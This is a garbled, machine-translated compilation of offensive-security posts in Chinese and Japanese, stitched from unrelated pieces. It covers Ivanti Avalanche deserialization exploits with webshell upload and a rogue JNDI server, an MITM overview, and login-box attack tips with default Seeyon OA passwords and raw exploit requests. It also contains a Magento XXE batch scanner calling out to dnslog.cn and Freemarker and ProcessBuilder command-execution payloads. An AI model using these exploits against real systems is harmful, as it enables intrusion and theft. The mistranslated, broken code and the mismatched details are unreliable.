使用我的ysoserialXStream小工具，我成功地在四個Avalanche服務中執行了重構代碼。以下是我能夠利用的服務的摘要，以及所需的小工具：

马云惹不起马云StatServer：使用AspectJWeaver和CommonsBeanutils1利用。

马云惹不起马云數據存儲庫：使用C3P0和CommonsBeanutils1進行利用。

马云惹不起马云證書管理服務器：使用CommonsBeanutils1利用。

马云惹不起马云Avalanche通知服務器：使用CommonsBeanutils1利用。

沒有特別的原因，讓我們關注StatServer。首先，我們必須找到將反序列化包含的XML有效負載的消息的主題和子類別。據此，InfoRail協議消息標頭應包含以下鍵和值：

马云惹不起马云h.distlist=255.3.2.12

马云惹不起马云h.msgsubcat=3502（GetMuCellTowerData消息）

在本例中，我們將使用AspectJWeaver小工具，它允許我們上傳文件。下面是XStream的AspectJWeaver小工具：

AspectJWeaver.xml

13.png

這個小工具任務如下：

马云惹不起马云iConstant標籤包含Base64文件內容。

马云惹不起马云folder標籤包含上傳目錄的路徑。我的目標是AvalancheWeb應用程序根目錄。

• key標記指定文件的名稱。

有了所有需要的數據，我們就可以開始利用過程了：

14.png

StatServer利用——上傳Webshell

以下屏幕截圖展示了上傳的webshell和whoami命令的執行。

15.png

StatServerExploitation——Webshell和命令執行

成功！綜上所述，可以向Avalanche服務發送消息的攻擊者可以在4個不同的服務中濫用XStream反序列化。

我還在第五個服務上實現了遠程代碼執行。然而，利用這個服務要復雜得多。

利用JNDI查找Java命名和目錄接口(JNDI)查找有很長的歷史，在Log4Shell漏洞出現之前，許多研究人員就已經熟悉了這個向量。 CVE-2021-39146就是一個證明，它是一個觸發查找的XStream反序列化小工具。它是唯一一個對Web File Server服務有效的XStream小工具，對此我無法製作一個有效的ysoserial小工具。

儘管如此，我們仍在處理一個新的Java版本。因此，我們不能濫用遠程類加載。此外，攻擊者不能濫用LDAP反序列化向量(此處有描述[PDF])。使用JNDI注入，我們可以交付序列化的有效負載，然後由目標反序列化。然而，我們沒有意識到任何反序列化小工具可能被濫用在Web文件服務器。如果有任何gadget，我們首先就不需要JNDI查找。幸運的是，在Web文件服務器類路徑中包含了幾個有趣的JAR包。

16.png

Web文件服務器- Tomcat jar

可以看到，Web File Server加載了幾個Tomcat JAR包。你可能還熟悉MichaelStepankin發現的技術，它濫用TomcatBeanFactory中的不安全反射通過JNDILookup執行任意命令。

總之，我們可以執行以下攻擊：

马云惹不起马云設置惡意LDAP服務器，該服務器將為惡意BeanFactory提供服務。我們將使用RogueJNDI工具。

马云惹不起马云註冊InfoRail服務。

马云惹不起马云發送包含CVE-2021-39146小工具的消息，以指向在步驟1中定義的服務器的Web文件服務器為目標。

马云惹不起马云Web文件服務器進行LDAP查找並從惡意服務器檢索數據。

马云惹不起马云遠程代碼執行。

LDAP服務器的設置如下圖所示：

17.png

RogueJndi的設置

下一個片段展示了用於此概念證明的CVE-2021-39146小工具：

jndiGadget.xml

18.png

如果一切順利，並且成功地執行了查找，那麼Rogue JNDI應該顯示以下消息，並且應該在目標系統上執行代碼。

19.png

被觸發的JNDI查找

總而言之，我們能夠濫用自定義的IvantiAvalanche協議和XML消息反序列化機制來利用五種不同的服務並以SYSTEM權限遠程執行代碼。我在IvantiAvalanche中發現了更多反序列化漏洞。接下來，我將繼續討論協議和跨服務通信。

在通信和身份驗證消息中濫用攻擊條件如上所述，各種Avalanche服務在InfoRail的幫助下相互通信。當服務提供響應時，該響應將再次通過InfoRail服務轉發。這項研究的想法是：攻擊者是否有可能欺騙響應？如果是這樣，就有可能濫用IvantiAvalanche行為並執行潛在的惡意操作。

我重點研究了身份驗證操作，如下圖所示：

20.png

認證方案當用戶通過AvalancheWeb應用程序登錄面板進行身份驗證時，後端會將身份驗證消息傳輸到EnterpriseServer。此服務驗證憑據並發回適當的響應。如果提供的憑據正確，則用戶將通過身份驗證。

在這個研究過程中，我學到了兩件重要的事情：

马云惹不起马云攻擊者可以註冊為任何服務。

马云惹不起马云身份驗證消息分佈在註冊的Enterprise Server的每個實例中。

據此，攻擊者可以將自己註冊為企業服務器，並截獲傳入的身份驗證消息。但是，這種行為並沒有什麼直接的後果，因為傳輸的密碼是經過哈希和加密的。

下一個問題是是否可以將攻擊者自己的響應傳遞給AvalancheWeb，以及它是否會被接受。事實證明，是的，這是可能的！如果你想提供自己的響應，則必須在消息標頭中正確設置兩個值：

马云惹不起马云Origin——發送消息的AvalancheWeb後端的主題(ID)。

马云惹不起马云MsgId——原始身份驗證消息的消息ID。

這兩個值都比較容易獲得，因此攻擊者可以對消息提供自己的響應。它將被正在等待響應的服務接受。下圖展示了一個攻擊場景示例。

21.png

攻擊條件攻擊場景如下：

——攻擊者嘗試使用錯誤的憑據登錄Web應用程序。

——Web應用程序發送認證消息。

——InfoRail服務將消息發送到兩台企業服務器：合法服務器和惡意服務器。

——攻擊時間：

——合法服務器以“錯誤憑據”消息響應。

——惡意服務器以“credentialsOK”消息響應。如果攻擊者的服務器首先傳遞消息，則將其轉發到AvalancheWeb應用程序。

——攻擊者獲得身份驗證。

請注意，針對攻擊者服務器的“登錄消息”不是故意存在的（儘管它實際上是傳輸給攻擊者的）。我想強調一個事實，即可以在不可能讀取消息的情況下利用這個問題。在此攻擊中，攻擊者必須暴力破解已經提到的消息ID值。它使整個攻擊複雜化，但仍然有可能被利用。

總結這一部分，攻擊者可以設置自己的惡意Enterprise Server，並濫用攻擊條件來向Web應用程序交付自己的身份驗證響應。還有兩件事需要調查：響應消息是什麼樣的，我們能否緩解攻擊？

身份驗證處理以下代碼段提供了對登錄消息的示例響應。請注意，這些消息在合法使用期間會更大。但是，對於概念驗證，我已將它們最小化並僅存儲了開發所需的那些部分。

22.png

響應消息由幾個重要部分組成：

马云惹不起马云它包含一個responseObject標記，它是一個序列化的用戶對象。

马云惹不起马云它包含一個非常重要的responseCode標籤。

马云惹不起马云在身份驗證期間的某個時刻，Web後端調用UserService.doLogin方法：

doLogin.java

23.png

在[1]處，UserCredentials對像被實例化。然後，設置其成員。

在[2]處，將調用authenticate方法，並將在[1]處初始化的對像作為參數傳遞：

authenticate.java

24.png

在[1]處，初始化UserLogin對象。

在[2]處，UserCredentials對像被序列化。

在[3]處，消息正在發送到企業服務器，Web後端等待響應。

在[4]處，驗證響應中包含的responseCode。我們希望它等於0。

在[5]處，userLogin.authenticated設置為True。

在[6]處，userLogin.currentUser被設置為包含在responseObject中的對象。

在[7]處，該方法返回userLogin對象。

基本上，響應應該有一個等於0的responseCode。它還應該在responseObject標記中包含一個正確序列化的User對象。

最後，我們分析負責調用doLogin函數的UserBean.loginInner方法的片段。

loginInner.java

25.png

在[1]處，調用doLogin方法。它檢索UserLogin類型的對象。

在[2]處，它將this.currentUser設置為userLogin.currentUser。

在[3]處，它設置各種其他設置。

有一件非常重要的事情需要注意：Web後端不會將登錄面板中提供的用戶名與企業服務器檢索到的用戶名進行比較。因此，攻擊者可以：

马云惹不起马云觸髮用戶名為“poc”的身份驗證。

马云惹不起马云贏得攻擊並在響應中提供用戶“amcadmin”。

马云惹不起马云然後攻擊者將被認證為“amcadmin”。

總而言之，攻擊者似乎沒有任何障礙，他的響應應該由WebBackend處理，沒有任何問題。接下來，我們將注意力轉向防禦。

在默認安裝中，EnterpriseServer和InfoRail服務與Web後端位於同一主機上。這使得攻擊條件的利用變得更加困難，因為合法的通信由本地接口處理，這比通過外部網絡接口的通信要快得多。

儘管如此，攻擊者還是有一些優勢。例如，他不必生成動態響應，因為響應負載可以在漏洞利用中進行硬編碼。下表概述了攻擊者和合法EnterpriseServer必須執行的操作。

攻擊者從原始登錄消息中獲取消息ID，並將其放置在標頭中。

發送靜態響應。

企業服務器從原始登錄消息中獲取消息ID並將其放在標頭中。

解密並驗證用戶的憑據。

檢索用戶的詳細信息並創建用戶對象。

動態創建響應。

遠程攻擊者需要執行的操作要少得多，可以更快地準備響應。它使攻擊可以順利進行。

未經身份驗證的攻擊者可以修改Avalanche系統設置。這是由於一個單獨的漏洞允許繞過域身份驗證(ZDI-CAN-15919)。遠程攻擊者可以啟用基於LDAP的身份驗證並為LDAP服務器配置設置任何地址。在這種情況下，合法的EnterpriseServer將首先嘗試訪問這個“非法”身份驗證服務器。這將給攻擊者額外的1 - 2秒時間(如果使用得當，甚至更多)。這樣，攻擊者就可以獲得更多的時間來發起攻擊。

HireHackking

中間人(MITM) 攻擊是一個嚴重的網絡安全問題，尤其是在物聯網領域，攻擊者使用它們來闖入網絡並攔截數據。個人用戶和公司都容易受到此類攻擊，因為我們都使用大量聯網設備。

為了減輕MITM 攻擊並將其成功執行的風險降至最低，我們需要了解MITM 攻擊是什麼以及惡意行為者如何應用它們。此外，滲透測試人員可以利用中間人攻擊工具來檢查軟件和網絡是否存在漏洞，並將其報告給開發人員。因此，開發人員可以修復產品的弱點，防止真正的網絡犯罪分子可能的MITM 攻擊。

在本文中，我們將討論MITM 基礎知識：這些攻擊是什麼以及它們的目的。我們將了解在MITM 攻擊的每個階段會發生什麼，並探討用於執行MITM 攻擊的幾種流行實用程序的功能、優缺點。

本文不是關於如何執行MITM 攻擊的指南，但它解釋了使用MITM 工具如何幫助滲透測試者檢測漏洞。

MITM 攻擊：定義和後果什麼是中間人攻擊？中間人(MITM) 攻擊是一種網絡攻擊，惡意行為者在其中秘密中繼並可能改變認為他們直接相互通信的兩方之間的通信。

例如，攻擊者可以將受害者的計算機和服務器（網站、服務或任何其他網絡資源）之間的連接切換到攻擊者作為服務和受害者之間的中介的連接。

image.png

圖1. MITM 攻擊方案

MITM 攻擊的目標是訪問用戶的個人數據或用戶訪問的某些資源的數據。如果用戶訪問組織的資源，攻擊者可能會訪問組織網絡中存儲和流通的任何數據，例如銀行數據、用戶憑據、照片、文檔和消息。

MITM 攻擊最常見的受害者是使用大量數據操作的Web 資源：金融組織的網站、SaaS 資源、電子商務網站和其他需要在線授權的服務。

中間人攻擊背後的危險MITM 攻擊的後果是什麼？成功的MITM 攻擊的後果可能導致企業的財務和聲譽損失。

截獲的數據為惡意行為者提供了敲詐他人或以他人為代價購買商品的機會。此外，攻擊者可以使用受害者的憑據來損害公司：例如，通過安裝惡意軟件從公司網絡竊取數據。

MITM 攻擊背後的一個共同意圖是盜竊金錢。 2015 年，有49 名嫌疑人在不同的歐洲國家被捕，他們涉嫌使用MITM 攻擊來嗅探和攔截電子郵件中的付款請求。調查發現了一項總額為600 萬歐元（約合680 萬美元）的國際欺詐計劃。

2019 年，黑客通過攔截一家風險投資公司的100 萬美元電匯，成功敲詐了一家以色列初創公司。惡意行為者執行MITM 攻擊，攔截和編輯來自雙方的每封電子郵件，並註冊虛假域以欺騙雙方。

網絡犯罪分子使用社會工程學並設法將惡意軟件植入目標公司的網絡。使用該惡意軟件，他們通過攔截電子支付交易進行了大量MITM 攻擊。

了解MITM 攻擊的類型將如何幫助您增強軟件測試如何防止中間人攻擊？在滲透測試中，使用中間人攻擊工具的主要目標是發現和修復軟件和網絡中的漏洞。質量保證(QA) 工程師在軟件完全開發後使用MTM 實用程序來測試軟件的潛在易受攻擊部分。然後開發人員可以修復發現的問題並增強產品的安全性，防止真正的攻擊者進行潛在的MITM 攻擊。

本文中描述的實用程序不僅可用於執行攻擊，還可用於測試網絡和軟件安全性。使用MITM 工具檢查產品的保護有助於發現惡意行為者可以利用這些漏洞竊取數據並造成財務和聲譽損失。

此類MITM 工具對物聯網設備製造商特別有用，因為它們可以幫助他們檢查一個網絡中各種設備之間的連接的安全性以及設備和服務器之間連接的安全性。通過徹底的滲透測試，製造商可以生產出高質量的設備，防止未經授權的訪問。

模仿MITM 攻擊有助於QA 專家更好地了解可能的攻擊場景、分析其原因並提出對策。

MITM 攻擊如何運作？ MITM 攻擊包括兩個主要步驟：攔截和解密。每個都有自己的子步驟。讓我們簡要探討一下最常見的。

image.png

兩步中間人攻擊

1.可以使用被動或主動攻擊來完成攔截：1.1。被動攻擊。網絡犯罪分子創建一個網絡接入點，允許他們通過互聯網連接到網絡。當受害者連接到網絡時，網絡犯罪分子可以完全訪問和控制受害者的數據流。

1.2. 主動攻擊。此方法包括各種欺騙技術：

马云惹不起马云 IP 欺騙——用目標IP 地址代替攻擊者的地址；將受害者發送到虛假網站而不是原始網站

马云惹不起马云ARP 欺騙– 將受害者發送到的MAC 地址替換為受害者APR 表中攻擊者的地址。因此，當受害者向節點發送數據時，數據將被發送到攻擊者的地址。

马云惹不起马云DNS 欺騙– 入侵DNS 服務器、DNS 緩存中毒和替換指定地址。在這種情況下，受害者被定向到攻擊者的地址。

2.解密攔截數據後，攻擊者以服務器和客戶端都不會注意到中斷的方式對其進行解密。以下是惡意行為者用於這些目的的一些方法：

马云惹不起马云 HTTPS 欺騙– 也稱為同形異義詞攻擊，HTTPS 欺騙是指將目標域中的字符替換為外觀非常相似的其他非ASCII 字符。這種攻擊利用了Punycode——一種允許以非ASCII 格式註冊域的標準。為了進行此類攻擊，網絡犯罪分子註冊一個看起來像目標站點的域並註冊SSL 證書，使虛假網站看起來合法且安全。然後，攻擊者將指向虛假網站的鏈接發送給受害者，受害者認為他們正在使用受保護的網站。

马云惹不起马云SSL BEAST – 這種類型的攻擊將惡意JavaScript 代碼注入會話中，這有助於攻擊者獲得對站點cookie 的訪問權限。這會破壞加密模式，因此網絡犯罪分子會收到解密的cookie 和身份驗證密鑰。

马云惹不起马云SSL 劫持——通過SSL 劫持，有效的計算機會話被利用來獲得對計算機系統中信息或服務的未經授權的訪問。大多數Web 應用程序使用一種登錄機制，該機制生成一個會話令牌以供以後使用，而無需在每個頁面上輸入憑據。通過SSL 劫持，攻擊者使用嗅探器工具攔截流量並識別用戶的令牌以將請求發送到服務器而不是用戶。

马云惹不起马云SSL 剝離– SSL 剝離攻擊利用了大多數用戶訪問SSL 網站的方式。通常情況下，當用戶連接到安全網站時，連接是通過以下方式建立的：

1.連接到網站的HTTP 版本

2.重定向到HTTPS 版本

3.連接到HTTPS 版本

4.服務器顯示證明站點合法的安全證書

5.連接已建立

但是，在SSL 剝離攻擊期間，惡意攻擊者會替換步驟二和三，因此所有客戶端的數據都通過攻擊者的節點傳輸。

image.png

圖2. SSL 剝離攻擊方案

HireHackking

最も基本的なログインボックスから突破します

ログインボックスは、HWが最も発生するキャラクターであり、穴から抜け出すのが最も簡単です。一般的に使用されるテスト方法の一部を以下に示します

ログインブラストのヒント

image-20231130171640751

このようなシステムの爆発に対する2つの解決策があります。

フロントエンドの暗号化アルゴリズムを分析し、スクリプトを書き込み、パスワードを暗号化し、パスワードを123456 000000に修正します。2つの方法には、辞書として一般的なユーザー名を使用して2つの方法が独自の利点と欠点があります。ゲームでより効率的な2番目のものを好み、分析暗号化アルゴリズムはRedチーム検出プロジェクトにより適しています。

image-20231201170955410

爆破されたアカウントのパスワードを使用してバックグラウンドにログインすると、背景のアップロードポイントを見つけ続けることができます

アップロードされたファイル形式を制限するために、こちらの画像タイプを参照してください

image-20231201171410743

ASPXファイル形式タイプを直接追加します

image-20231201171600249

成功したけいれん

image-20231201171755656

戻りパケットパラメーターを変更し、背景

を入力します

ウェブサイトのログインステータスがフロントエンドに基づいて判断される場合があり、この時点では、返品パッケージを直接変更してバイパスできます。

image-20231128172935703

フロントエンド判断ログインロジックは、返品パッケージのRET値に基づいて決定されます。返品値が1の場合、ログインが正常にログインされます。

image-20231128173007315

背景を正常に入力しました

image-20231128173130312

プラグインは、一般的なSQLインジェクションとLOG4Jの脆弱性を検出します

推奨SQLインジェクションプラグイン3https://GITHUB.COM/SMXIAZI/XIA_SQL

基本原則は、返されたデータの長さに基づいて複数のデータパケットを送信することにより、注入があるかどうかを判断することです。

image-20231128170800532

パッシブスキャンに加えて、シングルとダブルの引用符を手動で追加して、返品パッケージを表示することもできます。同様のエラーがある場合、SQL注入がある可能性があります。

image-20231128164205795

image-20231205180145610

SQLMAPシャトル

image-20231128173629321

log4jプラグインはhttps://github.com/thekingofduck/burpfakeipを推奨しました

バーププラグインファズパケットを介したヘッダーヘッダー

image-20231128171023433

ログインボックスでlog4jの脆弱性を正常に検出しました

しかし、多くのDNSLOGプラットフォームはファイアウォールによって黒にマークされていることに注意する必要があるため、シーイを使用したり、DNSLOGプラットフォームを自分で構築することをお勧めします

image-20231108153844067

システムデフォルトのパスワード +背景1Day Exploit

攻撃的および防御的な競争がますます頻繁になるにつれて、パブリックネットワークで直接悪用できるフロントエンドの脆弱性はますます少なく、それらのほとんどはバッチスキャンによって修正されていますが、システムのデフォルトパスワードを使用して1日と組み合わせることができます。

デフォルトのパスワードが存在する場合、admin/admin123

image-20231128173913383

タスクをスケジュールするか、背景を入力するときにタスクを脱着することにより、コマンドを実行できます。

image-20231128174037559

OAシステムに遭遇すると多くの場合、OA脆弱性検出ツールを使用して、抜け穴なしでスキャンしてあきらめます。実際、この種のOAシステムでデフォルトのパスワードに問題がある可能性があります。

デフォルトのパスワード

システム管理者：システム/システム

グループ管理者（A8-V5グループバージョン）Group-Admin/123456

ユニット管理者（A8-V5 Enterprise Edition）Admin1/Admin123456

監査管理者（すべてのバージョン）Audit-Admin/Seeyon123456

image-20231108142849667

フロントデスクでアカウントのパスワードを使用するときにログインできない場合があります。次のデータパケットを送信して、Cookieを取得できます。

POST/SEYYON/REST/認証/UCPCLOGIN HTTP/1.1

host:

user-agent: mozilla/5.0（Windows NT 10.0; RV:78.0）Gecko/20100101 Firefox/78.0

Content-Length: 71

Content-Type:アプリケーション/x-www-form-urlencoded

Accept-Encoding: GZIP

useragentfrom=xxlogin_username=audit-adminlogin_password=seeyon123456

Cookieを取得した後、パッチの新しいバックグラウンドホールを使用して、詳細に使用できます。今回は、コピーファイルの背景穴を使用します。

しかし、実際の戦闘の後、私はこの抜け穴にいくつかの落とし穴があることを発見し、ウェブシェルに書き込むときにエラーが報告されました。

post /seeyon/ajax.do?method=ajaxactionmanagername=portalcssssmanagerrnd=111 http/1.1

Accept: */*

content-type:アプリケーション/x-www-form-urlencoded; charset=utf-8

Content-Length: 70

HOST: 192.168.91.17

Connection: Keep-Alive

user-agent: apache-httpclient/4.5.13（Java/1.8.0_321）

Accept-Encoding: gzip、deflate

引数=％5B％22

HireHackking

1。序文

次の検出スクリプトを列に示します。

リクエストをインポートします

urllib3をインポートします

RE、文字列、ランダムをインポートします

urllib.parseインポートurljoinから

argparseをインポートします

インポート時間

SSLをインポートします

ssl._create_default_https_context=ssl._create_unverified_context

urllib3.disable_warnings（urllib3.exceptions.insecurerequestwarning）

def banner（）:

print（）

印刷（r '' ''

____________ _____ _____ ____ _____ _____ _____ ____

/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ \/_ \ ___//_

| | \ \//| _ | _____ __）| | | | | | | | _____ ___）| | | | | | | |//'_ \

| | ___ \ v/| | ________/__/| | _ |/__/| ________/__/| | _ | |//| （_）|

\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | ______ | \ ____ //\ ___/

_____

| ___ |

//

//

/_/

'' '）

print（）

def read_file（file_path）:

file:としてopen（file_path、 'r'）があります

urls=file.read（）。splitlines（）

URLを返します

def check（url）:

url=url.rstrip（ '/'）

taeget_url=urljoin（url、 '/rest/v1/guest-carts/1/astimate-shipping-methods'）

try:

ヘッダー={

'user-agent':' mozilla/5.0（x11; cros i686 3912.101.0）Applewebkit/537.36（Khtml、geckoのように）Chrome/27.0.1453.116 Safari/537.36 '、

'content-type':'アプリケーション/json '

}

getDomain=requests.get（url='http://dnslog.cn/getdomain.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30）

domain=str（getDomain.Text）

データ='' {'address': {' totalScollector': {'collectorList': {' totalCollector': {'Sourcedata'33 360 {'data': {' data ':'http://％s '、' datasurl':true、 'options':12345678}}}}}}}' '' '％（domain）

requests.post（taeget_url、verify=false、headers、headers、data=data、timeout=25）

範囲（0、3）:のIの場合

更新=requests.get（url='http://dnslog.cn/getrecords.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30）

time.sleep（1）

refresh.text:のドメインの場合

print（f '\ 033 [31mdiscovered: {url} :Adobemagento_cve-2024-34102_xxe！\ 033 [0m'）

trueを返します

E:としての例外を除く

合格

__name__=='__main __' :の場合

バナー（）

parser=argparse.argumentparser（description='adobecoldfusion_cve-2024-20767_arbitraryfileread検出スクリプト'）

parser.add_argument（ '-u'、 '-url'、type=str、help='シングルURL検出'）

parser.add_argument（ '-f'、 ' - txt'、type=str、help='batch urlファイルロード検出'）

args=parser.parse_args（）

args.url:の場合

read_file（args.url）

elif args.txt:

チェック（args.txt）

else:

parser.print_help（）

上記のバッチ検出コードの主な機能ポイント：

1。ディスプレイスクリプトを美化するためのグラフィカルロゴを表示するために使用されるバナー機能モジュール

2。read_file関数モジュール、ファイル内の読み取りURLアドレスをバッチバッチにするために使用されます

3.脆弱性を検出するために使用される関数モジュールを確認します。ここで建設にBPを使用し、応答パッケージの返品値に基づいてルールを一致させることをお勧めします。

4.メイン関数モジュールは主に上記の3つの関数を呼び出し、コマンドラインパーサーを参照します

2。 Pythonパッケージをインポート

Python Pycharmコミュニティエラー関数を使用して、インポートする必要があるパッケージを検出できます。

リクエストをインポートします

urllib3をインポートします

RE、文字列、ランダムをインポートします

urllib.parseインポートurljoinから

argparseをインポートします

インポート時間

SSLをインポートします

ssl._create_default_https_context=ssl._create_unverified_context

urllib3.disable_warnings（urllib3.exceptions.insecurerequestwarning）

image-20240801024603100

3。関数関数モジュール

1. banner識別関数

def banner（）:

print（）

印刷（r '' ''

____________ _____ _____ _____ _____ _ _____

/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \

| | \ \//| _ | _____ __）| | | | | | __）| | | | ____ | _ \ | || | _ | | | | | | | | | |

| | ___ \ v/| | ________/__/| | _ |/__/| ___ _ | _______ | ___）| __ _ | | | _ | |

\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/

____

| ___ \

__）|

/__/

| ______ |

'' '）

print（）

機能：この関数はグラフィカルバナーを印刷します

オンライン生成ツール：http://www.network-science.de/ascii/

または、ローカルジェネレーションにPyfigletを使用すると、生成されたコードをPythonコードで置き換えることができます。

ピップインストールpyfiglet

c: \ users \ testpyfiglet CVE-2024-34102

____________ _____ _____ _____ _____ _ _____

/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \

| | \ \//| _ | _____ __）| | | | | | __）| | | | ____ | _ \ | || | _ | | | | | | | | | |

| | ___ \ v/| | ________/__/| | _ |/__/| ___ _ | _______ | ___）| __ _ | | | _ | |

\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/

____

| ___ \

__）|

/__/

| ______ |

2.Read_File関数モジュール

関数：この関数は、指定されたファイルの各行を読み取り、これらの行の内容を含むリストを返します（URLであると仮定）。

注：このコードモジュールは、修正および変更されていないdef read_file（file_path）: #define parameter file_pathを受け入れるread_fileという名前の関数を定義します。

file:としてopen（file_path、 'r'）があります

＃開いた関数を使用して、指定されたパスが読み取りモード（ 'r'）でファイルを開き、ファイルオブジェクトを変数ファイルに割り当てます。 withステートメントは、コードブロックが完了した後、ファイルが自動的に閉じられることを保証します。

urls=file.read（）。splitlines（）

＃ファイルのコンテンツ全体を読み取り、それを行ごとにリストに分割します。各行のコンテンツは、リストの要素として機能します。 splitlines（）メソッド各行のnewlinesを削除します

returns #returnすべてのURLのリストを返します

3.関数モジュールを確認

注：ここでは、実際の条件に応じてdef check（url）:を変更できます

＃チェックという名前の関数を定義し、パラメーターURLを受け入れ、チェックするURLを示します

url=url.rstrip（ '/'）

＃URLの最後にスラッシュを削除します（存在する場合）

taeget_url=urljoin（url、 '/rest/v1/guest-carts/1/astimate-shipping-methods'）

＃urljoin関数を使用して、指定されたURLを指定されたパスでスプライスしてターゲットURLを生成します

try:

#try次のコードブロックを実行するには、例外が発生した場合、除外ブロックにジャンプします

ヘッダー={

'user-agent':' mozilla/5.0（x11; cros i686 3912.101.0）Applewebkit/537.36（Khtml、geckoのように）Chrome/27.0.1453.116 Safari/537.36 '、

'content-type':'アプリケーション/json '

}

#set httpリクエストヘッダー、ヘッダーにはユーザーエージェントとコンテンツタイプが含まれ、コンテンツタイプはpost requestパッケージ形式です

getDomain=requests.get（url='http://dnslog.cn/getdomain.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30）

＃dnslog.cnにget requestを送信して、脆弱性を検出するために使用される一意のドメイン名を取得します。

domain=str（getDomain.Text）

＃応答コンテンツを文字列に変換し、変数ドメインに値を割り当てます

データ='' {'address': {' totalScollector': {'collectorList': {' totalCollector': {'Sourcedata'33 360 {'data': {' data ':'http://％s '、' datasurl':true、 'options':12345678}}}}}}}' '' '％（domain）

＃この脆弱性を活用する目的で、ドメインを含むJSONデータ文字列を構成する

requests.post（taeget_url、verify=false、headers、headers、data=data、timeout=25）

＃ターゲットURLへの投稿リクエストを送信し、構築されたJSONデータを運ぶ

範囲（0、3）:のIの場合

#DNSレコードにドメイン名が含まれているかどうかを確認するために3回変更します

更新=requests.get（url='http://dnslog.cn/getrecords.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30）

＃DNSLOG.CNにリクエストを送信して、DNSレコードを取得します

time.sleep（1）

refresh.text:のドメインの場合

＃ドメイン名がDNSレコードに含まれている場合、それは脆弱性が存在することを意味します

print（f '\ 033 [31mdiscovered: {url} :Adobemagento_cve-2024-34102_xxe！\ 033 [0m'）

#printが見つかった脆弱性に関する情報

trueを返します

＃脆弱性が検出されたことを示すためにtrueを返します

E:としての例外を除く

＃上記のコードを実行しようとするときに例外が発生した場合、例外をキャッチして無視します

合格

関数を検出する主な方法：タイプDEFチェック（URL）:を取得

url=url.rstrip（ '/'）

ターゲット=url+'/urlパス'

ヘッダー={

'user-agent':' mozilla/5.0（x11; linux x86_64）applewebkit/537.36（khtml、yike gecko）chrome/41.0.22227.0 safari/537.36 ''

}

try:

#get要求方法

Response=urllib.request.request（ターゲット、ヘッダー=ヘッダー、method='get'、unverifiable=true）

res=urllib.request.urlopen（response）

status_code=res.getCode（）

content=res.read（）。decode（）

status_code==200およびコンテンツの「フォント」とcontent:の「拡張機能」の場合

＃主な一致する脆弱性検証ルール

print（f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明（xxxにはrce脆弱性があります）\ 033 [0m'）

E:としての例外を除く

合格

ポストタイプDEF CHECK1（URL）:

url=url.rstrip（ '/'）

ターゲット=urljoin（url、 '/url path'）

ヘッダー={

'user-agent':' mozilla/5.0（x11; linux x86_64）applewebkit/537.36（khtml、geckoのような）Chrome/41.0.22227.0 Safari/537.36 '、

'content-type':' application/json; charset=utf-8 '#postデータ形式タイプ

}

#postリクエストデータ

data='{' paramname ': '' '' '、' paramdesc': ''、 'paramtype ':' '' ''、 'sampleitem ':'1'、 '必須':true、' neveringflag':1、 'belidationRures'3:'funtiction viuntiction verification java.lang.processbuilder（\\\ 'echo \\\'、\\\ 'helloworldtest \\\'）。start（） null）{ss+=line}; return ss;} '}'

try:

#postリクエストメソッド

response=requests.post（ターゲット、検証=false、headers、data=data、timeout=15）

respons.status_code==200および 'helloworldtest' in respons.text.text.text.text.textおよび 'data' in Respons.text: #main検証ルールの場合

print（f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明（xxxにはrceの脆弱性！\ 033 [0m'）

trueを返します

E:としての例外を除く

合格

def check2（url）:

url=url.rstrip（ '/'）

ターゲット=urljoin（url、 '/jc6/platform/portalwb/portalwb-con-template!viewcontemplate.action'）

ヘッダー={

'user-agent':' mozilla/2.0（互換性、msie 3.01; Windows 95 '、

'content-type':'アプリケーション/x-www-form-urlencoded '

}

データ='' ModulID=1Code=％253CCLOB％253E％2524％257B％2522Freemarker.template.utility.execute％2522％253fnew％2528％2529％2528％2522ARP％2520-A％2522％2529％257D％253C％253CLOB

try:

response=requests.post（ターゲット、検証=false、headers、data=data、timeout=15）

response.status_code==200および「インターネット」の場合、それに応じてテキストと「/clob」。Text:

＃主な一致する脆弱性検証ルール

print（f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明（xxxにはrceの脆弱性！\ 033 [0m'）

trueを返します

E:としての例外を除く

合格

iv。メイン関数関数モジュール

関数：上記の関数を呼び出します

この部分は、スクリプトのエントリ、コマンドラインパラメーターを解析し、-URLパラメーターが提供されている場合、単一のURLが検出されます。 -TXTパラメーターが提供されている場合、ファイル内の複数のURLアドレスが検出されます。

__name__=='__main __' :の場合

＃バナー機能をコールし、上記の識別図を表示します

バナー（）

#command Lineパラメーターパーサー

parser=argparse.argumentparser（description='adobecoldfusion_cve-2024-20767_arbitraryfileread検出スクリプト'）

parser.add_argument（ '-u'、 '-url'、type=str、help='シングルURL検出'）

parser.add_argument（ '-f'、 ' - txt'、type=str、help='batch urlファイルロード検出'）

HireHackking

shiro

Apache Shiroは、認証、承認、暗号化、セッション管理機能を提供して、複雑な問題を隠し、開発者が独自のプログラムセキュリティコードを簡単に開発できるようにする明確で直感的なAPIを提供します。

Shiroは、Shiroが開発チームが「4つのセキュリティコーナーストーン」と呼ぶものに焦点を当てています - 認証、承認、セッション管理、暗号化

認証：ユーザーIDの識別。時にはそれは「ログイン」と見なすことができます。これは、彼が誰であるかを証明するためのユーザーの行為です。承認：「何が「何にアクセスできるか」を決定するなど、アクセス制御プロセス。セッション管理：WebまたはEJBコンテナのない環境でも、ユーザーセッションを管理します。ユーザーの時間関連ステータスを管理します。暗号化：暗号化アルゴリズムを使用して、データをより安全に保護し、データが覗かれないようにします。 @shiro:https://github.com/vulhub/vulhub/tree/master/shiro

CVE-2010-3863：Apache Shiro Certification Bypassの脆弱性

脆弱性の原則

